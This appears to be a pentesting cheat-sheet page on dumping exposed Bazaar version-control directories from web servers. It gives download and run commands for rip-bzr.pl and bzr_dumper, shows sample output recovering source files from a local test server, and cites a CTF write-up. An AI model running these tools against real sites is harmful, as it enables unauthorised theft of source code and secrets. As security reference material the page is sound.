# Bazaar > Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams. ## Summary * [Tools](#tools) * [rip-bzr.pl](#rip-bzrpl) * [bzr_dumper](#bzr_dumper) * [References](#references) ## Tools ### rip-bzr.pl ```powershell wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u ``` ### bzr_dumper ```powershell git clone https://github.com/SeahunOh/bzr_dumper python3 dumper.py -u "http://127.0.0.1:5000/" -o source Created a standalone tree (format: 2a) [!] Target : http://127.0.0.1:5000/ [+] Start. [+] GET repository/pack-names [+] GET README [+] GET checkout/dirstate [+] GET checkout/views [+] GET branch/branch.conf [+] GET branch/format [+] GET branch/last-revision [+] GET branch/tag [+] GET b'154411f0f33adc3ff8cfb3d34209cbd1' [*] Finish $ bzr revert N application.py N database.py N static/ ``` ## References - [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)